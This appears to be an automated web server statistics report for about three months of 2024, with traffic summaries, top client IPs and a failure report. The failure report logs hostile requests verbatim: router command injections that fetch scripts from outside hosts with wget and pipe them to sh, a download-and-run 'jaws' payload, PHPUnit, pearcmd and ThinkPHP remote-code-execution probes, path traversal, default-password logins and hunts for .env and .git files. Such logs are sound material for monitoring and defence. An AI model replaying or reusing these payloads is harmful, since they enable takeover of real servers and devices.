Program started at Thu-21-Nov-2024 00:11.
Analysed requests from Fri-23-Aug-2024 00:06 to Wed-20-Nov-2024 23:50 (89.99 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 21-Nov-2024 00:11.
Successful requests: 6,692 (607)
Average successful requests per day: 74 (86)
Successful requests for pages: 6,690 (607)
Average successful requests for pages per day: 74 (86)
Failed requests: 11,741 (1,400)
Distinct files requested: 23 (4)
Distinct hosts served: 1,991 (282)
Corrupt logfile lines: 2,105
Unwanted logfile entries: 441,901
Data transferred: 6.00 megabytes (562.08 kilobytes)
Average data transferred per day: 68.26 kilobytes (80.30 kilobytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Aug 2024 | 589 | 589 | |
Sep 2024 | 2337 | 2336 | |
Oct 2024 | 2204 | 2203 | |
Nov 2024 | 1562 | 1562 |
Busiest month: Sep 2024 (2,336 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 968 | 968 | |
Mon | 982 | 982 | |
Tue | 995 | 995 | |
Wed | 1006 | 1005 | |
Thu | 878 | 877 | |
Fri | 932 | 932 | |
Sat | 931 | 931 |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
6692 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
140 | 2.11% | 5.8.11.202 |
13 | 0.18% | 15.204.196.168 |
56 | 0.83% | 45.84.89.2 |
17 | 0.25% | 45.84.89.3 |
14 | 0.21% | 45.148.10.251 |
28 | 0.44% | 46.19.138.234 |
18 | 0.27% | 46.174.191.28 |
14 | 0.21% | 46.174.191.29 |
23 | 0.35% | 46.174.191.30 |
25 | 0.38% | 46.174.191.31 |
30 | 0.45% | 46.174.191.32 |
13 | 0.18% | 51.81.155.128 |
109 | 1.65% | 80.82.77.202 |
62 | 0.94% | 83.97.73.245 |
12 | 0.18% | 92.249.48.49 |
24 | 0.36% | 92.255.57.58 |
107 | 1.62% | 93.174.93.12 |
28 | 0.44% | 94.141.120.37 |
13 | 0.20% | 94.156.248.4 |
60 | 0.94% | 95.214.53.91 |
36 | 0.54% | 95.214.53.205 |
99 | 1.55% | 95.214.55.43 |
83 | 1.30% | 95.214.55.79 |
180 | 2.82% | 95.214.55.138 |
12 | 0.19% | 103.133.111.209 |
12 | 0.17% | 104.156.155.35 |
13 | 0.07% | 112.74.58.77 |
12 | 0.17% | 139.144.52.241 |
18 | 0.28% | 141.98.11.15 |
38 | 0.57% | 141.98.11.79 |
11 | 0.17% | 141.98.11.90 |
26 | 0.38% | 141.98.11.173 |
35 | 0.55% | 141.98.11.178 |
576 | 8.54% | 149.50.103.48 |
14 | 0.22% | 149.50.106.25 |
15 | 0.22% | 154.213.184.43 |
32 | 0.50% | 154.213.191.23 |
55 | 0.80% | 172.104.4.17 |
162 | 2.54% | 178.211.139.188 |
12 | 0.18% | 179.43.168.146 |
243 | 3.62% | 179.43.191.98 |
160 | 2.49% | 185.16.39.118 |
13 | 0.20% | 185.16.39.146 |
593 | 8.78% | 185.191.126.213 |
171 | 2.53% | 185.191.126.248 |
269 | 4.00% | 185.224.128.47 |
70 | 1.04% | 185.224.128.59 |
52 | 0.77% | 185.224.128.84 |
55 | 0.81% | 185.242.226.10 |
11 | 0.17% | 194.50.16.198 |
2808 | 41.62% | [not listed: 1,941 hosts] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
7 | [not listed: 5 URLs] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
6688 | 99.97% | [root directory] |
2 | 0.02% | http:// |
2 | 0.01% | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
1018 | /cgi-bin/luci/ |
90 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
75 | /cgi-bin/luci/?form=country&operation=write&country=id>`wget+http://185.157.247.125/e/t+-O-+|sh%3B` |
74 | /cgi-bin/luci/?form=country&operation=write&country=id>`for+pid+in+/proc/[0-9]*/%3B+do+pid%3D${pid%25/}%3B+pid%3D${pid##*/}%3B+exe_path%3D$(ls+-l+/proc/$pid/exe+2>/dev/null+|+awk+'{print+$NF}')%3B+if+[[+$exe_path+%3D%3D+*/+]]%3B+then+kill+-9+$pid%3B+fi%3B+done%3B` |
38 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.18.237:88/t|sh%3B`) |
38 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
22 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.171:88/t|sh%3B`) |
21 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
18 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.10:88/t|sh%3B`) |
14 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://45.202.35.24/l+-O-|+sh`) |
13 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.217:88/t|sh%3B`) |
792 | /x16/x03/x01 |
519 | /.env |
484 | /favicon.ico |
365 | /x16/x03/x02/x01o/x01 |
202 | /login.rsp |
160 | /x03 |
145 | * |
135 | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
118 | /.git/config |
115 | /index.php |
35 | /index.php?lang=../../../../../../../../tmp/index1 |
35 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
35 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
114 | /robots.txt |
86 | /actuator/gateway/routes |
82 | /boaform/admin/formLogin |
19 | /boaform/admin/formLogin?username=admin&psd=admin |
13 | /boaform/admin/formLogin?username=adminisp&psd=adminisp |
12 | /boaform/admin/formLogin?username=ec8&psd=ec8 |
80 | /bin/sh |
80 | /geoserver/web/ |
79 | /sitemap.xml |
64 | /_profiler/phpinfo |
63 | 12.1.2/n |
62 | /command_port.ini |
59 | / |
58 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
57 | MGLNDD_216.92.200.31_80/n |
55 | /login.asp |
53 | /shell |
29 | /shell?cd+/tmp;rm+-rf+*;wget+ 129.159.107.197/jaws;sh+/tmp/jaws |
49 | /hello.world |
49 | /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input |
44 | google.com:443 |
42 | /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php |
40 | /api/.env |
39 | /vendor/phpunit/Util/PHP/eval-stdin.php |
6449 | [not listed: 1,883 files] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Domain Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
6688 | 99.97% | 20/Nov/24 23:50 | / |
86 | 1.30% | 20/Nov/24 06:20 | /?XDEBUG_SESSION_START=phpstorm |
13 | 0.19% | 8/Nov/24 05:14 | /?phpinfo=-1 |
4 | 0.03% | 24/Oct/24 02:54 | [not listed: 3 files] |